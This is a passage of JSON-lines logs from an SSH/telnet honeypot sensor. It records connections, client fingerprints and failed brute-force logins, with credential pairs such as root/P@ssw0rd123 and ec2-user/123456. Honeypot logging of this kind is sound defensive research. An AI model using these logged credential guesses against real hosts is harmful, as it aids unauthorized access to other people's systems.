m","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:07.113026Z","src_ip":"103.172.78.219","session":"29e320d7ae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.036632776260376,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:07.654942Z","src_ip":"192.119.13.58","session":"a7f725081ed6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2a3a4a5a","message":"login attempt [root/1a2a3a4a5a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:07.878898Z","src_ip":"103.172.78.219","session":"29e320d7ae03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:09.137535Z","src_ip":"103.172.78.219","session":"29e320d7ae03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59940,"dst_ip":"10.17.0.5","dst_port":22,"session":"d170f9393c3b","protocol":"ssh","message":"New connection: 45.153.34.112:59940 (10.17.0.5:22) [session: d170f9393c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:10.008829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:10.018604Z","src_ip":"45.153.34.112","session":"d170f9393c3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:10.102525Z","src_ip":"45.153.34.112","session":"d170f9393c3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@1234","message":"login attempt [root/root@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:10.385959Z","src_ip":"45.153.34.112","session":"d170f9393c3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:11.481189Z","src_ip":"45.153.34.112","session":"d170f9393c3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51680,"dst_ip":"10.17.0.5","dst_port":23,"session":"e48dca7c89f3","protocol":"telnet","message":"New connection: 192.119.13.58:51680 (10.17.0.5:23) [session: e48dca7c89f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:13.313079Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59956,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e924c7d0f40","protocol":"ssh","message":"New connection: 45.153.34.112:59956 (10.17.0.5:22) [session: 4e924c7d0f40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:13.663906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:13.670143Z","src_ip":"45.153.34.112","session":"4e924c7d0f40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:13.757244Z","src_ip":"45.153.34.112","session":"4e924c7d0f40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:14.010725Z","src_ip":"45.153.34.112","session":"4e924c7d0f40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:15.183521Z","src_ip":"45.153.34.112","session":"4e924c7d0f40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59962,"dst_ip":"10.17.0.5","dst_port":22,"session":"0396876b1fc0","protocol":"ssh","message":"New connection: 45.153.34.112:59962 (10.17.0.5:22) [session: 0396876b1fc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:17.090242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:17.102211Z","src_ip":"45.153.34.112","session":"0396876b1fc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:17.185282Z","src_ip":"45.153.34.112","session":"0396876b1fc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dj","password":"dj","message":"login attempt [dj/dj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:17.489483Z","src_ip":"45.153.34.112","session":"0396876b1fc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.215975284576416,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:18.527108Z","src_ip":"221.228.183.120","session":"fd3c1ba13343","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:18.575707Z","src_ip":"45.153.34.112","session":"0396876b1fc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33724,"dst_ip":"10.17.0.5","dst_port":22,"session":"28e91d2b722d","protocol":"ssh","message":"New connection: 45.153.34.112:33724 (10.17.0.5:22) [session: 28e91d2b722d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:20.663723Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:20.669878Z","src_ip":"45.153.34.112","session":"28e91d2b722d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:20.753710Z","src_ip":"45.153.34.112","session":"28e91d2b722d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:21.010480Z","src_ip":"45.153.34.112","session":"28e91d2b722d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:22.099482Z","src_ip":"45.153.34.112","session":"28e91d2b722d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33730,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d886428386","protocol":"ssh","message":"New connection: 45.153.34.112:33730 (10.17.0.5:22) [session: d4d886428386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:24.100587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:24.106005Z","src_ip":"45.153.34.112","session":"d4d886428386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:24.189044Z","src_ip":"45.153.34.112","session":"d4d886428386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd123","message":"login attempt [root/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:24.436661Z","src_ip":"45.153.34.112","session":"d4d886428386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:25.524931Z","src_ip":"45.153.34.112","session":"d4d886428386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33734,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8c24056311f","protocol":"ssh","message":"New connection: 45.153.34.112:33734 (10.17.0.5:22) [session: d8c24056311f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:27.649812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:27.654281Z","src_ip":"45.153.34.112","session":"d8c24056311f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:27.739115Z","src_ip":"45.153.34.112","session":"d8c24056311f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"discordbot","password":"discordbot","message":"login attempt [discordbot/discordbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:27.991690Z","src_ip":"45.153.34.112","session":"d8c24056311f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:29.085104Z","src_ip":"45.153.34.112","session":"d8c24056311f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33120,"dst_ip":"10.17.0.5","dst_port":23,"session":"374adae27df2","protocol":"telnet","message":"New connection: 192.119.13.58:33120 (10.17.0.5:23) [session: 374adae27df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:29.200243Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43148,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f16e43f2e2","protocol":"ssh","message":"New connection: 45.153.34.112:43148 (10.17.0.5:22) [session: f2f16e43f2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:31.398789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:31.404447Z","src_ip":"45.153.34.112","session":"f2f16e43f2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:31.487415Z","src_ip":"45.153.34.112","session":"f2f16e43f2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:31.738018Z","src_ip":"45.153.34.112","session":"f2f16e43f2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:32.825113Z","src_ip":"45.153.34.112","session":"f2f16e43f2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":43158,"dst_ip":"10.17.0.5","dst_port":22,"session":"72a10f765fd9","protocol":"ssh","message":"New connection: 45.153.34.112:43158 (10.17.0.5:22) [session: 72a10f765fd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:34.969652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:04:34.974240Z","src_ip":"45.153.34.112","session":"72a10f765fd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 